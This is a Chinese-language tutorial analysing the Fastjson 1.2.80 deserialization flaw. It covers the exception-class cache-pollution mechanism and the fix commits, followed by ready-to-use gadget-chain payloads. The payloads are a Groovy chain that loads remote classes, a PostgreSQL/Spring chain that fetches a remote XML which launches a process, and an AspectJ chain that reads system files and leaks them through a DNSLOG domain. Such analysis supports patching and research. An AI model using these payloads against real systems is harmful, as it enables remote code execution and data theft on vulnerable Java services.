某json 1.2.80 漏洞分析
字数 1683 2025-08-26 22:11:34
Fastjson 1.2.80 漏洞分析与利用教学文档
一、Fastjson 历史漏洞回顾
1. Fastjson 1.2.47 漏洞
- 漏洞原理:通过
MiscCodec向白名单缓存中put任意类 - 利用方式:利用
MiscCodec反序列化机制绕过白名单限制
2. Fastjson 1.2.68 漏洞
- 漏洞原理:利用实现了
AutoCloseable接口的子类中的危险操作 - 修复方式:将
java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入黑名单
二、Fastjson 1.2.80 漏洞分析
1. 漏洞原理
- 关键点:利用异常类
Throwable作为期望类 - 核心机制:
- 反序列化
setter method parameter或public field(无视autotype)时添加类到白名单 - 通过异常类继承关系绕过安全检查
- 反序列化
2. 漏洞触发流程
示例代码分析
public class Main {
public static void main(String[] args) throws Exception {
String json2 = new String(Files.readAllBytes(Paths.get("1.txt")));
try {
Object parse = JSON.parse(json2);
System.out.println(parse);
} catch (Exception e) {
e.printStackTrace();
}
Field mappings = TypeUtils.class.getDeclaredField("mappings");
mappings.setAccessible(true);
ConcurrentMap<String, Class<?>> o = (ConcurrentMap<String, Class<?>>) mappings.get(TypeUtils.class);
System.out.println("-");
o.forEach((k, v) -> {
if (k.contains("My")) {
System.out.println(k);
}
});
}
}
public class MyClass {
public String name;
}
public class MyException extends Throwable {
private MyClass clazz;
public void setClazz(MyClass clazz) {
this.clazz = clazz;
}
}
恶意JSON构造
{
"a": {
"@type": "java.lang.Exception",
"@type": "MyException",
"clazz": {},
"stackTrace": []
},
"b": {
"@type": "MyClass",
"name": "asd"
}
}
3. 详细执行流程
-
期望类处理:
- 在
ParserConfig.checkAutoType()中,expectClassFlag为true - 从
classloader中加载MyException并获取class - 将目标类加入到类缓存中:
TypeUtils.addMapping(typeName, clazz)
- 在
-
异常类反序列化:
- 使用
ThrowableDeserializer反序列化器 - 通过
createException创建异常实例 - 获取字段反序列化实例
FieldDeserializer
- 使用
-
类型转换过程:
- 进入
TypeUtils.cast()进行类型转换 - 对于
JSONObject类型,进入TypeUtils.castToJavaBean() - 再次进入
getDeserializer,此时参数是MyException类clazz字段的类型MyClass
- 进入
-
缓存污染:
- 调用
putDeserializer函数,填充ParserConfig的deserializers列表 - 导致后续
checkAutoType时可以通过deserializers获取MyClass类
- 调用
三、漏洞修复
1. 修复提交
- https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d
- https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15
2. 修复措施
- 更新黑白名单
- 直接禁用异常类利用路径
- 在加类缓存时增加
autotype判断
四、漏洞利用(Gadget)
1. Groovy 依赖利用
依赖
- Groovy
POC
{
"@type": "java.lang.Exception",
"@type": "org.codehaus.groovy.control.CompilationFailedException",
"unit": {}
}
{
"@type": "org.codehaus.groovy.control.ProcessingUnit",
"@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config": {
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList": "http://127.0.0.1:8090/"
}
}
额外文件
META-INF/services/org.codehaus.groovy.transform.ASTTransformation中写入恶意类名- 创建对应的
Evil类实现命令执行代码
2. JDBC 依赖利用
依赖
- Jython
- PostgreSQL
- Spring-context
POC
{
"a": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
"type": {}
},
"b": {
"@type": "org.python.core.PyObject",
"@type": "com.ziclix.python.sql.PyConnection",
"connection": {
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [
{
"host": "127.0.0.1",
"port": 2333
}
],
"user": "user",
"database": "test",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "http://127.0.0.1:8090/exp.xml"
},
"url": ""
}
}
}
XML 载荷
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list value-type="java.lang.String">
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
3. AspectJ 利用
分三次攻击
- 第一次攻击:
{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
- 第二次攻击:
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
}
}
}
- 第三次攻击(文件读取):
{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "c:/windows/win.ini"
}
}
回显方式
- 使用报错或DNSLOG
- 替代第三次攻击的载荷:
{
"@type": "java.lang.Character",
"c": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "c:/windows/win.ini"
}
}
DNSLOG 利用(Windows平台可能不成功)
{
"a": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "1.txt"
},
"b": {
"@type": "java.net.Inet4Address",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": {
"@type": "java.lang.String" {
"$ref": "$"
}
},
"country": "x.xnfhnufo.dnslog.pw"
}
}
}
}
}
}
五、参考资源
- 《Hacking JSON》议题
- https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/